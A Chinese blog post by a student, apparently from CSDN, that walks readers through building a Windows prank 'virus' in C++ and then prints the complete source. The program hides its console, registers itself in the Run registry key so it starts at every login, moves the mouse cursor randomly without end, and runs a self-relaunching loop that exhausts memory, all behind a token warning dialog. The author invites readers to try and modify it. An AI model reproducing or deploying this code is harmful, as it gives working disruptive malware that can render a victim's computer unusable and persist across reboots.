目录
1.前言
Hello!我来了!相信很多人都认识他吧——YR_T
他曾写了两篇文章:
这两篇文章的想法都是我给的哟!由于我是住校生,一直还没做这个程序,我就让他做了。趁这个清明,我就抽空做出来了。
2.教程
2.1.宏、头文件与命名空间
#define _CRT_SECURE_NO_WARNINGS //strcat()所需
#include<iostream> //输入输出
#include<string> //字符串处理
#include<Windows.h> //Windows系统
#include<thread> //线程
#include<tchar.h> //_T()等
using namespace std; //为了方便
2.2.隐藏控制台
这样你就少个关闭程序的途径了!
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
hWnd = FindWindow(L"ConsoleWindowClass", NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_HIDE);
}
2.3.推卸责任
为了不让某些人找我麻烦,还是要写一句啦!
if (MessageBox(0, L"本程序是病毒,是否打开?如打开,后果自负!", L"WARNING", MB_YESNO | MB_ICONWARNING) == 6)
{
//
}
2.4.开机启动
再设个开机启动,你的电脑就……(该部分较复杂,不用完全看懂,知道是修改注册表就是了)
HKEY hKey;
if (RegOpenKeyEx(HKEY_CURRENT_USER,_T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
{
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
RegCloseKey(hKey);
}
}
2.5.开线程
写一个乱移鼠标的线程函数
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
srand(time(0));
while (1)
{
SetCursorPos(rand() % x, rand() % y);
}
return 0L;
}
主函数写上一段
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
2.6.抢内存
这个可以直接在主函数里写
while (1)
{
char s[100] = "start ";
system(strcat(s, argv[0]));
Sleep(1000);
}
2.7.完整代码
#define _CRT_SECURE_NO_WARNINGS
#include<iostream>
#include<string>
#include<Windows.h>
#include<thread>
#include<tchar.h>
using namespace std;
int x = GetSystemMetrics(SM_CXSCREEN);
int y = GetSystemMetrics(SM_CYSCREEN);
DWORD WINAPI mouse(LPVOID lpParameter)
{
srand(time(0));
while (1)
{
SetCursorPos(rand() % x, rand() % y);
}
return 0L;
}
int main(int argc, char** argv)
{
HWND hWnd = GetConsoleWindow();
SetWindowLong(hWnd, GWL_EXSTYLE, WS_EX_TOOLWINDOW);
hWnd = FindWindow(L"ConsoleWindowClass", NULL);
if (hWnd)
{
ShowWindow(hWnd, SW_HIDE);
}
if (MessageBox(0, L"本程序是病毒,是否打开?如打开,后果自负!", L"WARNING", MB_YESNO | MB_ICONWARNING) == 6)
{
HKEY hKey;
if (RegOpenKeyEx(HKEY_CURRENT_USER, _T("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run"), 0, KEY_ALL_ACCESS, &hKey) == ERROR_SUCCESS)
{
TCHAR strExeFullDir[MAX_PATH];
GetModuleFileName(NULL, strExeFullDir, MAX_PATH);
TCHAR strDir[MAX_PATH] = {};
DWORD nLength = MAX_PATH;
long result = RegGetValue(hKey, nullptr, _T("GISRestart"), RRF_RT_REG_SZ, 0, strDir, &nLength);
if (result != ERROR_SUCCESS || _tcscmp(strExeFullDir, strDir) != 0)
{
RegSetValueEx(hKey, _T("GISRestart"), 0, REG_SZ, (LPBYTE)strExeFullDir, (lstrlen(strExeFullDir) + 1) * sizeof(TCHAR));
RegCloseKey(hKey);
}
}
HANDLE hThread = CreateThread(NULL, 0, mouse, NULL, 0, NULL);
CloseHandle(hThread);
while (1)
{
char s[100] = "start ";
system(strcat(s, argv[0]));
}
}
return 0;
}
3.总结
这个程序比较简单,只有53行,也不算难,但我不敢执行,有虚拟机的朋友可以试试,因为我不敢确定重启后是否能成功启动。如果你感兴趣,可以简单改一下,私信我。
我来CSDN至少半年了,这是我的第31篇文章,这个号是三年前注册的,我是1月下旬开始发布文章的。我虽然在这个社区只是小小的一份,也没有多少粉丝,排名也很一般,但我其实蛮开心的。我认识了一些人,可以做一些交流,说一说自己的一些想法。谢谢大家!